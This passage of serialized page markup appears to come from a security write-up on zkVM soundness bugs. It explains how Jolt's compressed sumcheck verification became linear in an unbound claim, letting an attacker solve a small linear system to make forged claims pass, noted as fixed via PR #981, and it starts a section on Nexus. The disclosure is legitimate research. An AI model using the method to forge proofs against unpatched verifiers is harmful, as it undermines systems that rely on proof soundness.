8],[],{"type":26,"tag":217,"props":50534,"children":50536},{"className":50535},[264],[50537],{"type":32,"value":267},{"type":26,"tag":217,"props":50539,"children":50541},{"className":50540,"style":259},[258],[],{"type":26,"tag":217,"props":50543,"children":50545},{"className":50544},[236],[50546,50551,50608,50612,50670,50674,50679],{"type":26,"tag":217,"props":50547,"children":50550},{"className":50548,"style":50549},[241],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":26,"tag":217,"props":50552,"children":50554},{"className":50553},[1842],[50555,50560],{"type":26,"tag":217,"props":50556,"children":50558},{"className":50557,"style":22482},[1842,4049,22481],[50559],{"type":32,"value":4053},{"type":26,"tag":217,"props":50561,"children":50563},{"className":50562},[2160],[50564],{"type":26,"tag":217,"props":50565,"children":50567},{"className":50566},[299,300],[50568,50597],{"type":26,"tag":217,"props":50569,"children":50571},{"className":50570},[305],[50572,50592],{"type":26,"tag":217,"props":50573,"children":50575},{"className":50574,"style":49122},[310],[50576],{"type":26,"tag":217,"props":50577,"children":50578},{"style":43746},[50579,50583],{"type":26,"tag":217,"props":50580,"children":50582},{"className":50581,"style":2182},[320],[],{"type":26,"tag":217,"props":50584,"children":50586},{"className":50585},[2187,2188,2189,2190],[50587],{"type":26,"tag":217,"props":50588,"children":50590},{"className":50589},[247,2152,2190],[50591],{"type":32,"value":2290},{"type":26,"tag":217,"props":50593,"children":50595},{"className":50594},[409],[50596],{"type":32,"value":412},{"type":26,"tag":217,"props":50598,"children":50600},{"className":50599},[305],[50601],{"type":26,"tag":217,"props":50602,"children":50604},{"className":50603,"style":49406},[310],[50605],{"type":26,"tag":217,"props":50606,"children":50607},{},[],{"type":26,"tag":217,"props":50609,"children":50611},{"className":50610,"style":1872},[258],[],{"type":26,"tag":217,"props":50613,"children":50615},{"className":50614},[247],[50616,50621],{"type":26,"tag":217,"props":50617,"children":50619},{"className":50618,"style":50006},[247,2152],[50620],{"type":32,"value":50009},{"type":26,"tag":217,"props":50622,"children":50624},{"className":50623},[2160],[50625],{"type":26,"tag":217,"props":50626,"children":50628},{"className":50627},[299,300],[50629,50659],{"type":26,"tag":217,"props":50630,"children":50632},{"className":50631},[305],[50633,50654],{"type":26,"tag":217,"props":50634,"children":50636},{"className":50635,"style":2271},[310],[50637],{"type":26,"tag":217,"props":50638,"children":50640},{"style":50639},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[50641,50645],{"type":26,"tag":217,"props":50642,"children":50644},{"className":50643,"style":2182},[320],[],{"type":26,"tag":217,"props":50646,"children":50648},{"className":50647},[2187,2188,2189,2190],[50649],{"type":26,"tag":217,"props":50650,"children":50652},{"className":50651},[247,2152,2190],[50653],{"type":32,"value":2290},{"type":26,"tag":217,"props":50655,"children":50657},{"className":50656},[409],[50658],{"type":32,"value":412},{"type":26,"tag":217,"props":50660,"children":50662},{"className":50661},[305],[50663],{"type":26,"tag":217,"props":50664,"children":50666},{"className":50665,"style":2210},[310],[50667],{"type":26,"tag":217,"props":50668,"children":50669},{},[],{"type":26,"tag":217,"props":50671,"children":50673},{"className":50672,"style":336},[258],[],{"type":26,"tag":217,"props":50675,"children":50677},{"className":50676},[341],[50678],{"type":32,"value":344},{"type":26,"tag":217,"props":50680,"children":50682},{"className":50681,"style":336},[258],[],{"type":26,"tag":217,"props":50684,"children":50686},{"className":50685},[236],[50687,50691],{"type":26,"tag":217,"props":50688,"children":50690},{"className":50689,"style":4720},[241],[],{"type":26,"tag":217,"props":50692,"children":50694},{"className":50693},[247],[50695,50700],{"type":26,"tag":217,"props":50696,"children":50698},{"className":50697,"style":2680},[247,2152],[50699],{"type":32,"value":2683},{"type":26,"tag":217,"props":50701,"children":50703},{"className":50702},[2160],[50704],{"type":26,"tag":217,"props":50705,"children":50707},{"className":50706},[299,300],[50708,50737],{"type":26,"tag":217,"props":50709,"children":50711},{"className":50710},[305],[50712,50732],{"type":26,"tag":217,"props":50713,"children":50715},{"className":50714,"style":2271},[310],[50716],{"type":26,"tag":217,"props":50717,"children":50718},{"style":2703},[50719,50723],{"type":26,"tag":217,"props":50720,"children":50722},{"className":50721,"style":2182},[320],[],{"type":26,"tag":217,"props":50724,"children":50726},{"className":50725},[2187,2188,2189,2190],[50727],{"type":26,"tag":217,"props":50728,"children":50730},{"className":50729},[247,2152,2190],[50731],{"type":32,"value":2290},{"type":26,"tag":217,"props":50733,"children":50735},{"className":50734},[409],[50736],{"type":32,"value":412},{"type":26,"tag":217,"props":50738,"children":50740},{"className":50739},[305],[50741],{"type":26,"tag":217,"props":50742,"children":50744},{"className":50743,"style":2210},[310],[50745],{"type":26,"tag":217,"props":50746,"children":50747},{},[],{"type":26,"tag":39,"props":50749,"children":50750},{},[50751,50753,50830,50832,50837,50839,50916,50918,50995,50997,51074],{"type":32,"value":50752},"where ",{"type":26,"tag":83,"props":50754,"children":50756},{"className":50755},[213,4703],[50757],{"type":26,"tag":217,"props":50758,"children":50760},{"className":50759},[225],[50761],{"type":26,"tag":217,"props":50762,"children":50764},{"className":50763,"ariaHidden":231},[230],[50765],{"type":26,"tag":217,"props":50766,"children":50768},{"className":50767},[236],[50769,50773],{"type":26,"tag":217,"props":50770,"children":50772},{"className":50771,"style":4828},[241],[],{"type":26,"tag":217,"props":50774,"children":50776},{"className":50775},[247],[50777,50782],{"type":26,"tag":217,"props":50778,"children":50780},{"className":50779,"style":50006},[247,2152],[50781],{"type":32,"value":50009},{"type":26,"tag":217,"props":50783,"children":50785},{"className":50784},[2160],[50786],{"type":26,"tag":217,"props":50787,"children":50789},{"className":50788},[299,300],[50790,50819],{"type":26,"tag":217,"props":50791,"children":50793},{"className":50792},[305],[50794,50814],{"type":26,"tag":217,"props":50795,"children":50797},{"className":50796,"style":2271},[310],[50798],{"type":26,"tag":217,"props":50799,"children":50800},{"style":50639},[50801,50805],{"type":26,"tag":217,"props":50802,"children":50804},{"className":50803,"style":2182},[320],[],{"type":26,"tag":217,"props":50806,"children":50808},{"className":50807},[2187,2188,2189,2190],[50809],{"type":26,"tag":217,"props":50810,"children":50812},{"className":50811},[247,2152,2190],[50813],{"type":32,"value":2290},{"type":26,"tag":217,"props":50815,"children":50817},{"className":50816},[409],[50818],{"type":32,"value":412},{"type":26,"tag":217,"props":50820,"children":50822},{"className":50821},[305],[50823],{"type":26,"tag":217,"props":50824,"children":50826},{"className":50825,"style":2210},[310],[50827],{"type":26,"tag":217,"props":50828,"children":50829},{},[],{"type":32,"value":50831}," are random coefficients derived from the transcript. Since ",{"type":26,"tag":83,"props":50833,"children":50835},{"className":50834},[],[50836],{"type":32,"value":50380},{"type":32,"value":50838}," (containing ",{"type":26,"tag":83,"props":50840,"children":50842},{"className":50841},[213,4703],[50843],{"type":26,"tag":217,"props":50844,"children":50846},{"className":50845},[225],[50847],{"type":26,"tag":217,"props":50848,"children":50850},{"className":50849,"ariaHidden":231},[230],[50851],{"type":26,"tag":217,"props":50852,"children":50854},{"className":50853},[236],[50855,50859],{"type":26,"tag":217,"props":50856,"children":50858},{"className":50857,"style":4720},[241],[],{"type":26,"tag":217,"props":50860,"children":50862},{"className":50861},[247],[50863,50868],{"type":26,"tag":217,"props":50864,"children":50866},{"className":50865,"style":2680},[247,2152],[50867],{"type":32,"value":2683},{"type":26,"tag":217,"props":50869,"children":50871},{"className":50870},[2160],[50872],{"type":26,"tag":217,"props":50873,"children":50875},{"className":50874},[299,300],[50876,50905],{"type":26,"tag":217,"props":50877,"children":50879},{"className":50878},[305],[50880,50900],{"type":26,"tag":217,"props":50881,"children":50883},{"className":50882,"style":2271},[310],[50884],{"type":26,"tag":217,"props":50885,"children":50886},{"style":2703},[50887,50891],{"type":26,"tag":217,"props":50888,"children":50890},{"className":50889,"style":2182},[320],[],{"type":26,"tag":217,"props":50892,"children":50894},{"className":50893},[2187,2188,2189,2190],[50895],{"type":26,"tag":217,"props":50896,"children":50898},{"className":50897},[247,2152,2190],[50899],{"type":32,"value":2290},{"type":26,"tag":217,"props":50901,"children":50903},{"className":50902},[409],[50904],{"type":32,"value":412},{"type":26,"tag":217,"props":50906,"children":50908},{"className":50907},[305],[50909],{"type":26,"tag":217,"props":50910,"children":50912},{"className":50911,"style":2210},[310],[50913],{"type":26,"tag":217,"props":50914,"children":50915},{},[],{"type":32,"value":50917},") were not in the transcript, the ",{"type":26,"tag":83,"props":50919,"children":50921},{"className":50920},[213,4703],[50922],{"type":26,"tag":217,"props":50923,"children":50925},{"className":50924},[225],[50926],{"type":26,"tag":217,"props":50927,"children":50929},{"className":50928,"ariaHidden":231},[230],[50930],{"type":26,"tag":217,"props":50931,"children":50933},{"className":50932},[236],[50934,50938],{"type":26,"tag":217,"props":50935,"children":50937},{"className":50936,"style":4828},[241],[],{"type":26,"tag":217,"props":50939,"children":50941},{"className":50940},[247],[50942,50947],{"type":26,"tag":217,"props":50943,"children":50945},{"className":50944,"style":50006},[247,2152],[50946],{"type":32,"value":50009},{"type":26,"tag":217,"props":50948,"children":50950},{"className":50949},[2160],[50951],{"type":26,"tag":217,"props":50952,"children":50954},{"className":50953},[299,300],[50955,50984],{"type":26,"tag":217,"props":50956,"children":50958},{"className":50957},[305],[50959,50979],{"type":26,"tag":217,"props":50960,"children":50962},{"className":50961,"style":2271},[310],[50963],{"type":26,"tag":217,"props":50964,"children":50965},{"style":50639},[50966,50970],{"type":26,"tag":217,"props":50967,"children":50969},{"className":50968,"style":2182},[320],[],{"type":26,"tag":217,"props":50971,"children":50973},{"className":50972},[2187,2188,2189,2190],[50974],{"type":26,"tag":217,"props":50975,"children":50977},{"className":50976},[247,2152,2190],[50978],{"type":32,"value":2290},{"type":26,"tag":217,"props":50980,"children":50982},{"className":50981},[409],[50983],{"type":32,"value":412},{"type":26,"tag":217,"props":50985,"children":50987},{"className":50986},[305],[50988],{"type":26,"tag":217,"props":50989,"children":50991},{"className":50990,"style":2210},[310],[50992],{"type":26,"tag":217,"props":50993,"children":50994},{},[],{"type":32,"value":50996}," values are independent of ",{"type":26,"tag":83,"props":50998,"children":51000},{"className":50999},[213,4703],[51001],{"type":26,"tag":217,"props":51002,"children":51004},{"className":51003},[225],[51005],{"type":26,"tag":217,"props":51006,"children":51008},{"className":51007,"ariaHidden":231},[230],[51009],{"type":26,"tag":217,"props":51010,"children":51012},{"className":51011},[236],[51013,51017],{"type":26,"tag":217,"props":51014,"children":51016},{"className":51015,"style":4720},[241],[],{"type":26,"tag":217,"props":51018,"children":51020},{"className":51019},[247],[51021,51026],{"type":26,"tag":217,"props":51022,"children":51024},{"className":51023,"style":2680},[247,2152],[51025],{"type":32,"value":2683},{"type":26,"tag":217,"props":51027,"children":51029},{"className":51028},[2160],[51030],{"type":26,"tag":217,"props":51031,"children":51033},{"className":51032},[299,300],[51034,51063],{"type":26,"tag":217,"props":51035,"children":51037},{"className":51036},[305],[51038,51058],{"type":26,"tag":217,"props":51039,"children":51041},{"className":51040,"style":2271},[310],[51042],{"type":26,"tag":217,"props":51043,"children":51044},{"style":2703},[51045,51049],{"type":26,"tag":217,"props":51046,"children":51048},{"className":51047,"style":2182},[320],[],{"type":26,"tag":217,"props":51050,"children":51052},{"className":51051},[2187,2188,2189,2190],[51053],{"type":26,"tag":217,"props":51054,"children":51056},{"className":51055},[247,2152,2190],[51057],{"type":32,"value":2290},{"type":26,"tag":217,"props":51059,"children":51061},{"className":51060},[409],[51062],{"type":32,"value":412},{"type":26,"tag":217,"props":51064,"children":51066},{"className":51065},[305],[51067],{"type":26,"tag":217,"props":51068,"children":51070},{"className":51069,"style":2210},[310],[51071],{"type":26,"tag":217,"props":51072,"children":51073},{},[],{"type":32,"value":180},{"type":26,"tag":39,"props":51076,"children":51077},{},[51078],{"type":26,"tag":9348,"props":51079,"children":51080},{},[51081],{"type":32,"value":51082},"Why it's linear:",{"type":26,"tag":39,"props":51084,"children":51085},{},[51086,51088],{"type":32,"value":51087},"Due to the compression optimization (prover omits one less coefficient per round), the final verification equation traces back through the rounds and becomes linear in the input claim ",{"type":26,"tag":83,"props":51089,"children":51091},{"className":51090},[213,4703],[51092],{"type":26,"tag":217,"props":51093,"children":51095},{"className":51094},[225],[51096],{"type":26,"tag":217,"props":51097,"children":51099},{"className":51098,"ariaHidden":231},[230],[51100],{"type":26,"tag":217,"props":51101,"children":51103},{"className":51102},[236],[51104,51108],{"type":26,"tag":217,"props":51105,"children":51107},{"className":51106,"style":4800},[241],[],{"type":26,"tag":217,"props":51109,"children":51111},{"className":51110,"style":2680},[247,2152],[51112],{"type":32,"value":2683},{"type":26,"tag":39,"props":51114,"children":51115},{},[51116],{"type":26,"tag":83,"props":51117,"children":51119},{"className":51118},[213,4703],[51120],{"type":26,"tag":217,"props":51121,"children":51123},{"className":51122},[225],[51124],{"type":26,"tag":217,"props":51125,"children":51127},{"className":51126,"ariaHidden":231},[230],[51128,51217,51243,51269],{"type":26,"tag":217,"props":51129,"children":51131},{"className":51130},[236],[51132,51136,51204,51208,51213],{"type":26,"tag":217,"props":51133,"children":51135},{"className":51134,"style":4720},[241],[],{"type":26,"tag":217,"props":51137,"children":51139},{"className":51138},[247],[51140,51146],{"type":26,"tag":217,"props":51141,"children":51143},{"className":51142,"style":20616},[247,2152],[51144],{"type":32,"value":51145},"C",{"type":26,"tag":217,"props":51147,"children":51149},{"className":51148},[2160],[51150],{"type":26,"tag":217,"props":51151,"children":51153},{"className":51152},[299,300],[51154,51193],{"type":26,"tag":217,"props":51155,"children":51157},{"className":51156},[305],[51158,51188],{"type":26,"tag":217,"props":51159,"children":51162},{"className":51160,"style":51161},[310],"height:0.3361em;",[51163],{"type":26,"tag":217,"props":51164,"children":51165},{"style":21366},[51166,51170],{"type":26,"tag":217,"props":51167,"children":51169},{"className":51168,"style":2182},[320],[],{"type":26,"tag":217,"props":51171,"children":51173},{"className":51172},[2187,2188,2189,2190],[51174],{"type":26,"tag":217,"props":51175,"children":51177},{"className":51176},[247,2190],[51178],{"type":26,"tag":217,"props":51179,"children":51181},{"className":51180},[247,32,2190],[51182],{"type":26,"tag":217,"props":51183,"children":51185},{"className":51184},[247,2190],[51186],{"type":32,"value":51187},"final",{"type":26,"tag":217,"props":51189,"children":51191},{"className":51190},[409],[51192],{"type":32,"value":412},{"type":26,"tag":217,"props":51194,"children":51196},{"className":51195},[305],[51197],{"type":26,"tag":217,"props":51198,"children":51200},{"className":51199,"style":2210},[310],[51201],{"type":26,"tag":217,"props":51202,"children":51203},{},[],{"type":26,"tag":217,"props":51205,"children":51207},{"className":51206,"style":259},[258],[],{"type":26,"tag":217,"props":51209,"children":51211},{"className":51210},[264],[51212],{"type":32,"value":267},{"type":26,"tag":217,"props":51214,"children":51216},{"className":51215,"style":259},[258],[],{"type":26,"tag":217,"props":51218,"children":51220},{"className":51219},[236],[51221,51225,51230,51234,51239],{"type":26,"tag":217,"props":51222,"children":51224},{"className":51223,"style":50001},[241],[],{"type":26,"tag":217,"props":51226,"children":51228},{"className":51227},[247,2152],[51229],{"type":32,"value":163},{"type":26,"tag":217,"props":51231,"children":51233},{"className":51232,"style":336},[258],[],{"type":26,"tag":217,"props":51235,"children":51237},{"className":51236},[341],[51238],{"type":32,"value":344},{"type":26,"tag":217,"props":51240,"children":51242},{"className":51241,"style":336},[258],[],{"type":26,"tag":217,"props":51244,"children":51246},{"className":51245},[236],[51247,51251,51256,51260,51265],{"type":26,"tag":217,"props":51248,"children":51250},{"className":51249,"style":50030},[241],[],{"type":26,"tag":217,"props":51252,"children":51254},{"className":51253,"style":2680},[247,2152],[51255],{"type":32,"value":2683},{"type":26,"tag":217,"props":51257,"children":51259},{"className":51258,"style":336},[258],[],{"type":26,"tag":217,"props":51261,"children":51263},{"className":51262},[341],[51264],{"type":32,"value":3540},{"type":26,"tag":217,"props":51266,"children":51268},{"className":51267,"style":336},[258],[],{"type":26,"tag":217,"props":51270,"children":51272},{"className":51271},[236],[51273,51277],{"type":26,"tag":217,"props":51274,"children":51276},{"className":51275,"style":43002},[241],[],{"type":26,"tag":217,"props":51278,"children":51280},{"className":51279},[247,2152],[51281],{"type":32,"value":14783},{"type":26,"tag":39,"props":51283,"children":51284},{},[51285,51286,51325,51327,51352,51354,51484,51486,51607],{"type":32,"value":50752},{"type":26,"tag":83,"props":51287,"children":51289},{"className":51288},[213,4703],[51290],{"type":26,"tag":217,"props":51291,"children":51293},{"className":51292},[225],[51294],{"type":26,"tag":217,"props":51295,"children":51297},{"className":51296,"ariaHidden":231},[230],[51298],{"type":26,"tag":217,"props":51299,"children":51301},{"className":51300},[236],[51302,51306,51311,51316,51320],{"type":26,"tag":217,"props":51303,"children":51305},{"className":51304,"style":1520},[241],[],{"type":26,"tag":217,"props":51307,"children":51309},{"className":51308},[247,2152],[51310],{"type":32,"value":163},{"type":26,"tag":217,"props":51312,"children":51314},{"className":51313},[1865],[51315],{"type":32,"value":1868},{"type":26,"tag":217,"props":51317,"children":51319},{"className":51318,"style":1872},[258],[],{"type":26,"tag":217,"props":51321,"children":51323},{"className":51322},[247,2152],[51324],{"type":32,"value":14783},{"type":32,"value":51326}," are determined by the transcript (independent of ",{"type":26,"tag":83,"props":51328,"children":51330},{"className":51329},[213,4703],[51331],{"type":26,"tag":217,"props":51332,"children":51334},{"className":51333},[225],[51335],{"type":26,"tag":217,"props":51336,"children":51338},{"className":51337,"ariaHidden":231},[230],[51339],{"type":26,"tag":217,"props":51340,"children":51342},{"className":51341},[236],[51343,51347],{"type":26,"tag":217,"props":51344,"children":51346},{"className":51345,"style":4800},[241],[],{"type":26,"tag":217,"props":51348,"children":51350},{"className":51349,"style":2680},[247,2152],[51351],{"type":32,"value":2683},{"type":32,"value":51353},"). The verifier checks that ",{"type":26,"tag":83,"props":51355,"children":51357},{"className":51356},[213,4703],[51358],{"type":26,"tag":217,"props":51359,"children":51361},{"className":51360},[225],[51362],{"type":26,"tag":217,"props":51363,"children":51365},{"className":51364,"ariaHidden":231},[230],[51366,51452],{"type":26,"tag":217,"props":51367,"children":51369},{"className":51368},[236],[51370,51374,51439,51443,51448],{"type":26,"tag":217,"props":51371,"children":51373},{"className":51372,"style":4720},[241],[],{"type":26,"tag":217,"props":51375,"children":51377},{"className":51376},[247],[51378,51383],{"type":26,"tag":217,"props":51379,"children":51381},{"className":51380,"style":20616},[247,2152],[51382],{"type":32,"value":51145},{"type":26,"tag":217,"props":51384,"children":51386},{"className":51385},[2160],[51387],{"type":26,"tag":217,"props":51388,"children":51390},{"className":51389},[299,300],[51391,51428],{"type":26,"tag":217,"props":51392,"children":51394},{"className":51393},[305],[51395,51423],{"type":26,"tag":217,"props":51396,"children":51398},{"className":51397,"style":51161},[310],[51399],{"type":26,"tag":217,"props":51400,"children":51401},{"style":21366},[51402,51406],{"type":26,"tag":217,"props":51403,"children":51405},{"className":51404,"style":2182},[320],[],{"type":26,"tag":217,"props":51407,"children":51409},{"className":51408},[2187,2188,2189,2190],[51410],{"type":26,"tag":217,"props":51411,"children":51413},{"className":51412},[247,2190],[51414],{"type":26,"tag":217,"props":51415,"children":51417},{"className":51416},[247,32,2190],[51418],{"type":26,"tag":217,"props":51419,"children":51421},{"className":51420},[247,2190],[51422],{"type":32,"value":51187},{"type":26,"tag":217,"props":51424,"children":51426},{"className":51425},[409],[51427],{"type":32,"value":412},{"type":26,"tag":217,"props":51429,"children":51431},{"className":51430},[305],[51432],{"type":26,"tag":217,"props":51433,"children":51435},{"className":51434,"style":2210},[310],[51436],{"type":26,"tag":217,"props":51437,"children":51438},{},[],{"type":26,"tag":217,"props":51440,"children":51442},{"className":51441,"style":259},[258],[],{"type":26,"tag":217,"props":51444,"children":51446},{"className":51445},[264],[51447],{"type":32,"value":267},{"type":26,"tag":217,"props":51449,"children":51451},{"className":51450,"style":259},[258],[],{"type":26,"tag":217,"props":51453,"children":51455},{"className":51454},[236],[51456,51460,51470,51475],{"type":26,"tag":217,"props":51457,"children":51459},{"className":51458,"style":242},[241],[],{"type":26,"tag":217,"props":51461,"children":51463},{"className":51462},[247,32],[51464],{"type":26,"tag":217,"props":51465,"children":51467},{"className":51466},[247],[51468],{"type":32,"value":51469},"expected",{"type":26,"tag":217,"props":51471,"children":51473},{"className":51472,"style":2753},[247],[51474],{"type":32,"value":49012},{"type":26,"tag":217,"props":51476,"children":51478},{"className":51477},[247,32],[51479],{"type":26,"tag":217,"props":51480,"children":51482},{"className":51481},[247],[51483],{"type":32,"value":33126},{"type":32,"value":51485}," (from PCS opening), this becomes ",{"type":26,"tag":83,"props":51487,"children":51489},{"className":51488},[213,4703],[51490],{"type":26,"tag":217,"props":51491,"children":51493},{"className":51492},[225],[51494],{"type":26,"tag":217,"props":51495,"children":51497},{"className":51496,"ariaHidden":231},[230],[51498,51524,51550,51576],{"type":26,"tag":217,"props":51499,"children":51501},{"className":51500},[236],[51502,51506,51511,51515,51520],{"type":26,"tag":217,"props":51503,"children":51505},{"className":51504,"style":50001},[241],[],{"type":26,"tag":217,"props":51507,"children":51509},{"className":51508},[247,2152],[51510],{"type":32,"value":163},{"type":26,"tag":217,"props":51512,"children":51514},{"className":51513,"style":336},[258],[],{"type":26,"tag":217,"props":51516,"children":51518},{"className":51517},[341],[51519],{"type":32,"value":344},{"type":26,"tag":217,"props":51521,"children":51523},{"className":51522,"style":336},[258],[],{"type":26,"tag":217,"props":51525,"children":51527},{"className":51526},[236],[51528,51532,51537,51541,51546],{"type":26,"tag":217,"props":51529,"children":51531},{"className":51530,"style":50030},[241],[],{"type":26,"tag":217,"props":51533,"children":51535},{"className":51534,"style":2680},[247,2152],[51536],{"type":32,"value":2683},{"type":26,"tag":217,"props":51538,"children":51540},{"className":51539,"style":336},[258],[],{"type":26,"tag":217,"props":51542,"children":51544},{"className":51543},[341],[51545],{"type":32,"value":3540},{"type":26,"tag":217,"props":51547,"children":51549},{"className":51548,"style":336},[258],[],{"type":26,"tag":217,"props":51551,"children":51553},{"className":51552},[236],[51554,51558,51563,51567,51572],{"type":26,"tag":217,"props":51555,"children":51557},{"className":51556,"style":43002},[241],[],{"type":26,"tag":217,"props":51559,"children":51561},{"className":51560},[247,2152],[51562],{"type":32,"value":14783},{"type":26,"tag":217,"props":51564,"children":51566},{"className":51565,"style":259},[258],[],{"type":26,"tag":217,"props":51568,"children":51570},{"className":51569},[264],[51571],{"type":32,"value":267},{"type":26,"tag":217,"props":51573,"children":51575},{"className":51574,"style":259},[258],[],{"type":26,"tag":217,"props":51577,"children":51579},{"className":51578},[236],[51580,51584,51593,51598],{"type":26,"tag":217,"props":51581,"children":51583},{"className":51582,"style":242},[241],[],{"type":26,"tag":217,"props":51585,"children":51587},{"className":51586},[247,32],[51588],{"type":26,"tag":217,"props":51589,"children":51591},{"className":51590},[247],[51592],{"type":32,"value":51469},{"type":26,"tag":217,"props":51594,"children":51596},{"className":51595,"style":2753},[247],[51597],{"type":32,"value":49012},{"type":26,"tag":217,"props":51599,"children":51601},{"className":51600},[247,32],[51602],{"type":26,"tag":217,"props":51603,"children":51605},{"className":51604},[247],[51606],{"type":32,"value":33126},{"type":32,"value":180},{"type":26,"tag":39,"props":51609,"children":51610},{},[51611],{"type":32,"value":51612},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":26,"tag":39,"props":51614,"children":51615},{},[51616],{"type":32,"value":51617},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":26,"tag":39,"props":51619,"children":51620},{},[51621,51626,51628],{"type":26,"tag":9348,"props":51622,"children":51623},{},[51624],{"type":32,"value":51625},"Status:",{"type":32,"value":51627}," Fixed on October 3, 2025 via ",{"type":26,"tag":163,"props":51629,"children":51632},{"href":51630,"rel":51631},"https://github.com/a16z/jolt/pull/981",[167],[51633],{"type":32,"value":51634},"PR #981",{"type":26,"tag":11933,"props":51636,"children":51637},{},[],{"type":26,"tag":607,"props":51639,"children":51641},{"id":51640},"nexus",[51642],{"type":32,"value":42746},{"type":26,"tag":39,"props":51644,"children":51645},{},[51646],{"type":32,"value":51647},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":26,"tag":39,"props":51649,"children":51650},{},[51651,51653,51658],{"type":32,"value":51652},"Nexus splits verification into ",{"type":26,"tag":9348,"props":51654,"children":51655},{},[51656],{"type":32,"value":51657},"components",{"type":32,"value":51659}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":26,"tag":39,"props":51661,"children":51662},{},[51663,51665,51670],{"type":32,"value":51664},"Each component emits and consumes lookup tuples. The component's ",{"type":26,"tag":83,"props":51666,"children":51668},{"className":51667},[],[51669],{"type":32,"value":49784},{"type":32,"value":51671}," summarizes its net contribution:",{"type":26,"tag":39,"props":51673,"children":51674},{},[51675],{"type":26,"tag":83,"props":51676,"children":51678},{"className":51677},[213,4703],[51679],{"type":26,"tag":217,"props":51680,"children":51682},{"className":51681},[225],[51683],{"type":26,"tag":217,"props":51684,"children":51686},{"className":51685,"ariaHidden":231},[230],[51687,51783,52032],{"type":26,"tag":217,"props":51688,"children":51690},{"className":51689},[236],[51691,51695,51704,51709,51770,51774,51779],{"type":26,"tag":217,"props":51692,"children":51694},{"className":51693,"style":242},[241],[],{"type":26,"tag":217,"props":51696,"children":51698},{"className":51697},[247,32],[51699],{"type":26,"tag":217,"props":51700,"children":51702},{"className":51701},[247],[51703],{"type":32,"value":49006},{"type":26,"tag":217,"props":51705,"children":51707},{"className":51706,"style":2753},[247],[51708],{"type":32,"value":49012},{"type":26,"tag":217,"props":51710,"children":51712},{"className":51711},[247],[51713,51722],{"type":26,"tag":217,"props":51714,"children":51716},{"className":51715},[247,32],[51717],{"type":26,"tag":217,"props":51718,"children":51720},{"className":51719},[247],[51721],{"type":32,"value":49026},{"type":26,"tag":217,"props":51723,"children":51725},{"className":51724},[2160],[51726],{"type":26,"tag":217,"props":51727,"children":51729},{"className":51728},[299,300],[51730,51759],{"type":26,"tag":217,"props":51731,"children":51733},{"className":51732},[305],[51734,51754],{"type":26,"tag":217,"props":51735,"children":51737},{"className":51736,"style":2271},[310],[51738],{"type":26,"tag":217,"props":51739,"children":51740},{"style":49045},[51741,51745],{"type":26,"tag":217,"props":51742,"children":51744},{"className":51743,"style":2182},[320],[],{"type":26,"tag":217,"props":51746,"children":51748},{"className":51747},[2187,2188,2189,2190],[51749],{"type":26,"tag":217,"props":51750,"children":51752},{"className":51751},[247,2152,2190],[51753],{"type":32,"value":2290},{"type":26,"tag":217,"props":51755,"children":51757},{"className":51756},[409],[51758],{"type":32,"value":412},{"type":26,"tag":217,"props":51760,"children":51762},{"className":51761},[305],[51763],{"type":26,"tag":217,"props":51764,"children":51766},{"className":51765,"style":2210},[310],[51767],{"type":26,"tag":217,"props":51768,"children":51769},{},[],{"type":26,"tag":217,"props":51771,"children":51773},{"className":51772,"style":259},[258],[],{"type":26,"tag":217,"props":51775,"children":51777},{"className":51776},[264],[51778],{"type":32,"value":267},{"type":26,"tag":217,"props":51780,"children":51782},{"className":51781,"style":259},[258],[],{"type":26,"tag":217,"props":51784,"children":51786},{"className":51785},[236],[51787,51792,51849,51853,52019,52023,52028],{"type":26,"tag":217,"props":51788,"children":51791},{"className":51789,"style":51790},[241],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":26,"tag":217,"props":51793,"children":51795},{"className":51794},[1842],[51796,51801],{"type":26,"tag":217,"props":51797,"children":51799},{"className":51798,"style":22482},[1842,4049,22481],[51800],{"type":32,"value":4053},{"type":26,"tag":217,"props":51802,"children":51804},{"className":51803},[2160],[51805],{"type":26,"tag":217,"props":51806,"children":51808},{"className":51807},[299,300],[51809,51838],{"type":26,"tag":217,"props":51810,"children":51812},{"className":51811},[305],[51813,51833],{"type":26,"tag":217,"props":51814,"children":51816},{"className":51815,"style":49122},[310],[51817],{"type":26,"tag":217,"props":51818,"children":51819},{"style":43746},[51820,51824],{"type":26,"tag":217,"props":51821,"children":51823},{"className":51822,"style":2182},[320],[],{"type":26,"tag":217,"props":51825,"children":51827},{"className":51826},[2187,2188,2189,2190],[51828],{"type":26,"tag":217,"props":51829,"children":51831},{"className":51830,"style":49138},[247,2152,2190],[51832],{"type":32,"value":49141},{"type":26,"tag":217,"props":51834,"children":51836},{"className":51835},[409],[51837],{"type":32,"value":412},{"type":26,"tag":217,"props":51839,"children":51841},{"className":51840},[305],[51842],{"type":26,"tag":217,"props":51843,"children":51845},{"className":51844,"style":49154},[310],[51846],{"type":26,"tag":217,"props":51847,"children":51848},{},[],{"type":26,"tag":217,"props":51850,"children":51852},{"className":51851,"style":1872},[258],[],{"type":26,"tag":217,"props":51854,"children":51856},{"className":51855},[247],[51857,51861,52015],{"type":26,"tag":217,"props":51858,"children":51860},{"className":51859},[288,289],[],{"type":26,"tag":217,"props":51862,"children":51864},{"className":51863},[294],[51865],{"type":26,"tag":217,"props":51866,"children":51868},{"className":51867},[299,300],[51869,52003],{"type":26,"tag":217,"props":51870,"children":51872},{"className":51871},[305],[51873,51998],{"type":26,"tag":217,"props":51874,"children":51876},{"className":51875,"style":48456},[310],[51877,51967,51978],{"type":26,"tag":217,"props":51878,"children":51879},{"style":5060},[51880,51884],{"type":26,"tag":217,"props":51881,"children":51883},{"className":51882,"style":321},[320],[],{"type":26,"tag":217,"props":51885,"children":51887},{"className":51886},[2187,2188,2189,2190],[51888],{"type":26,"tag":217,"props":51889,"children":51891},{"className":51890},[247,2190],[51892,51897,51902],{"type":26,"tag":217,"props":51893,"children":51895},{"className":51894,"style":21089},[247,2152,2190],[51896],{"type":32,"value":21092},{"type":26,"tag":217,"props":51898,"children":51900},{"className":51899},[341,2190],[51901],{"type":32,"value":3379},{"type":26,"tag":217,"props":51903,"children":51905},{"className":51904},[247,2190],[51906,51916],{"type":26,"tag":217,"props":51907,"children":51909},{